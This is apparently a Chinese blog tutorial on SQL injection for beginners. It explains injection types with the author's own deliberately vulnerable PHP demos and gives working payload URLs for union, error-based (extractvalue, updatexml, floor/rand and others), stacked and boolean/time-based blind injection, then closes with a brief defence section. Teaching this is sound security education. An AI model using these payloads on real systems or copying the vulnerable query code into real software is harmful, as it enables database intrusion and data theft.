【6】web安全入门篇-sql注入

0x01 sql介绍

通过对参数的污染,将恶意sql语句插入到数据库中执行的一种攻击方式。

0x02 sql注入原理

在进行数据库操作是,将sql语句与参数进行拼接,并放到数据库中执行。
如下面一段php代码

<?php
/*
...
*/连接数据库操作省略
$username = $_GET['username'];
$password = $_GET['password'];
$sql = "selet * from user where username = '$username' and password = '$password'";
$mysql_query($sql);
/*
...
*/数据库执行代码省略
?>

上面段代码就存在sql注入漏洞,很经典的能使用万能密码登陆
如当我们传入的参数是username = admin’ or 1=1 #&password = xxxx
$sql变量就为

$sql = "selet * from user where username = 'admin' or 1=1 # and password ='xxxx'"

带入数据库执行的语句就为

select * from user where username = 'admin' or 1=1 # and password = 'xxxx'

不管我们输入的用户名和密码是否正确,都会返回true,造成sql注入

0x03 sql注入分类

3.1 注入点分类

(1) get型注入
注入点在get参数中

http://www.test.com?username='test'&password='test'

如果username或者password参数存在注入,此注入为get型注入
(2) post注入
图中result参数如果存在注入为POST注入
在这里插入图片描述
cookie注入和head头注入等等原理差不多就不一一举例,一句话就是只是注入的点不同,其他基本没有什么差别

3.2 参数类型分类

(1) 字符型注入和数字型注入
注入的参数为字符类型,从代码层面更容易理解
如有这样一段代码

...
$username = $_GET['username'];
$offset = $_GET['offset'];
$sql = "select id ,username from user where username = '{$username}' limit 0,{$offset}";
...

上面一段代码中username参数为字符型,offset为数字型。

3.3 注入类型分类

union 注入
堆叠注入
盲注
报错注入
下面会按照注入类型分类,详细解释基础注入

0x04 sql注入的判断

sql注入的判断个人认为就是两步

  1. 想办法让页面报错
  2. 报错以后想办法让页面显示正确

例如数字型没有过滤的注入点判断

http://127.0.0.1/csdn/sql.php?username=test&offset=1 and 1=2 // 让页面报错
http://127.0.0.1/csdn/sql.php?username=test&offset=1 and 1=1 // 再让页面显示正确

这里就能基本确定该页面具有sql注入
再如字符型

http://127.0.0.1/csdn/sql.php?username=test' &offset=1 //参数由于没有闭合单引号而报错
http://127.0.0.1/csdn/sql.php?username=test' and '1'='1 &offset=1 //闭合单引号回显正确

这也能确定一个字符型注入
关键因素就这样步,但是这两步有多种方式,很多种语句,这需要在实战中不断积累

0x05 sql注入实例

5.1 union注入

union是什么呢
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同
union select 又叫联合查询
我们先看一段php代码

<?php 
$id = $_GET['id'];
$sql = "select * from user where id >= $id";
$con = mysql_connect('127.0.0.1','root','root');
mysql_select_db('cms',$con);
$result = mysql_query($sql);
	echo '<table>';
while($row = mysql_fetch_array($result)){

	echo '<tr><th>'.$row[0].'</th>';
	echo '<th>'.$row[1].'</th>';
	echo '<th>'.$row[2].'</th></tr>';
}
	echo '<table>';
mysql_close($con);
?>

这段代码是最简单的一个union注入例子,代码就是查询数据库里面user表大于某一id值得数据
正常访问
在这里插入图片描述
这里测试注入点直接使用and 1=2和and 1=1进行测试
首先需要使用order by来判断user表中的字段列数,判断列数方法

http://127.0.0.1/csdn/sql.php?id=0 order by 5

返回错误
然后使用二分法测试order by 为3时返回正常页面
然后测试回显点使用

http://127.0.0.1/csdn/sql.php?id=0 union select 1,2,3

在这里插入图片描述
由于这里我们将三个字段都显示出来了所以1,2,3三个地方都能插入我们的sql语句进行注入
测试如查询数据库版本号,数据库名,表名
在这里插入图片描述
union注入是sql注入中最快捷,最简单的注入方式

5.2 报错注入

报错注入原理是在网站编写过程中,sql语句执行失败发生错误时,错误会返回到网页,我们可以同过错误提示来带出我们需要查询得数据
这里也通过 一个自己写的demo来作为例子

<?php
$id = $_GET['id'];
$sql = "select * from csdn where id >= $id";
$con = mysql_connect('127.0.0.1','root','root');
$db = mysql_select_db('csdn');
$result = mysql_query($db,$sql);
if (!$result){
    die(mysql_error($con));
}else{
	echo "hacker hello!";
}
mysql_close($con);
?>

报错函数
1.floor(),rand(),group by
这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。当作为临时表主键重复时则会抛出异常。
具体原理这篇文章讲得很不错
注入语句

http://192.168.163.148/csdn/blind_sql.php?id=1 and (select 1 from (select count(*),concat(0x7e,version(),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a)#

在这里插入图片描述
2. extractvalue()
函数原型
EXTRACTVALUE (XML_document, XPath_string);
第二个参数路径不是路径符号(如~),则会报错,带出需要查询得信息
注入语句

http://192.168.163.148/csdn/blind_sql.php?id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

在这里插入图片描述
3. updatexml()
函数原型
UPDATEXML (XML_document, XPath_string, new_value);
原理于extractvalue()相同,同样为XPath_string参数
注入语句

http://192.168.163.148/csdn/blind_sql.php?id=1 and  (updatexml(1,concat(0x7e,(select user()),0x7e),1))#

在这里插入图片描述
上面三个函数是经常使用得,其他还有几个函数同样可以用到报错注入,但是这些函数收到数据库版本影响,具体版本我这里就不去探讨了
注入语句
4. geometrycollection()

http://192.168.163.148/csdn/blind_sql.php?id=1 and geometrycollection((select * from(select * from(select user())a)b))#
  1. multipoint()
http://192.168.163.148/csdn/blind_sql.php?id=1 and multipoint((select * from(select * from(select user())a)b))#
  1. polygon()
http://192.168.163.148/csdn/blind_sql.php?id=1 and polygon((select * from(select * from(select user())a)b))#
  1. multipolygon()
http://192.168.163.148/csdn/blind_sql.php?id=1 andmultipolygon((select * from(select * from(select user())a)b))#
  1. linestring()
http://192.168.163.148/csdn/blind_sql.php?id=1 and linestring((select * from(select * from(select user())a)b))#
  1. multilinestring()
http://192.168.163.148/csdn/blind_sql.php?id=1 and multilinestring((select * from(select * from(select user())a)b))#
  1. exp()
http://192.168.163.148/csdn/blind_sql.php?id=1 and exp(~(select * from(select user())a))#

5.3 堆叠注入

原理在原来注入注入语句后加上分号,后面再跟上我们需要注入的语句,可以实现增,删,改,查。后台逻辑主要使用多条语句执行函数如mysqli_multi_query()函数
代码如下

<?php
$id = $_GET['id'];
$con=mysqli_connect("localhost","root","root","csdn");
if (mysqli_connect_errno($con))
{
    echo "连接到 MySQL 失败: " . mysqli_connect_error();
}
$sql = "select * from csdn where id >= $id";
if (mysqli_multi_query($con,$sql))
{
	echo '<table>';
    do
    {
        if ($result=mysqli_store_result($con))
        {
            while ($row=mysqli_fetch_row($result))
            {
				echo '<tr><th>'.$row[0].'</th>';
				echo '<th>'.$row[1].'</th>';
				echo '<th>'.$row[2].'</th></tr>';
            }
            mysqli_free_result($result);
        }
    }
    while (mysqli_more_results($con) && mysqli_next_result($con));
	echo '<table>';	
}
mysqli_close($con);
?>

注入语句相对简单

http://192.168.163.148/csdn/sql.php?id=1; show tables;

在这里插入图片描述
这里报错是因为代码里面显示了 $row[1] 和 $row[2] 导致的。

5.4 盲注

盲注是注入中最常见的,也是最耗时的,但是也有相应的措施稍微加快盲注的效率,如在猜解字符时使用二分法,还有特定条件下使用带外通道直接获取注入数据(这里入门篇中不介绍,如需要私信留言发送相关资料),对于个人理解而言盲注分为:基于布尔和基于时间盲注

基于布尔的盲注
基于布尔的盲注条件是在sql语句出错时和正确时返回的页面不同
代码demo

<?php
$id = $_GET['id'];
$sql = "select * from csdn where id >= $id";
$con = mysql_connect('127.0.0.1','root','root');
$db = mysql_select_db('csdn');
$result = mysql_query($db,$sql);
if (!$result){
   echo "hacker hello!"
}else{
	echo "false";
}
mysql_close($con);
?>

注入语句当查询结果错误时

http://192.168.163.148/csdn/blind_sql.php?id=1 and length(database())=8--+

在这里插入图片描述
正确时

http://192.168.163.148/csdn/blind_sql.php?id=1 and length(database())=4--+

在这里插入图片描述
猜解数据库第一个字母,ascii函数二分法进行猜解

http://192.168.163.148/csdn/blind_sql.php?id=1 and ascii(substr(database(),1,1))>90#

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
第一个字母ASCII码99,'c’字符,同理这样猜解表,字段,内容。

基于时间的盲注
基于时间的盲注使用场景是有注入点但是sql语句执行成功和错误的返回页面是相同的
代码demo

<?php
$id = $_GET['id'];
$sql = "select * from csdn where id >= $id";
$con = mysql_connect('127.0.0.1','root','root');
$db = mysql_select_db('csdn');
$result = mysql_query($sql,$con );
$row = mysql_fetch_array($result);
if ($row){
    	echo "hacker hello!";
}else{
	echo "hacker hello!";
}
mysql_close($con);
?>

使用if和sleep()函数联合,判断当sql语句执行时睡眠相应秒数,以区分sql语句是否正确
如果成功

http://192.168.163.148/csdn/blind_sql.php?id=1 and if((length(database())>2),sleep(5),0) --+

在这里插入图片描述
如果不成功
在这里插入图片描述
除了这些以外还有一些如二次注入,cookie注入,中专注入其实都是基础注入的结合和变种。
在写这篇文章时每个注入方式都是使用的自己写的demo作为例子,这样有助于从代码层面了解注入的本质。这也是学习的一个很好的方式。
如果需要练习注入,可以使用sqli-lab系列进行练习。
个人的git上有
https://github.com/Gr3enh4nd/study/blob/master/sql/sqli-labs.zip

0x06 防御方法

上次忘说防御方法了,最好的是在使用数据库执行语句时使用参数化预编译执行,这样能防止SQL注入,如果不能改变执行方式进行正则过滤,过滤一些关键字符,如select,union,引号等等,这些可以到网上搜索,我这里就不例举。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值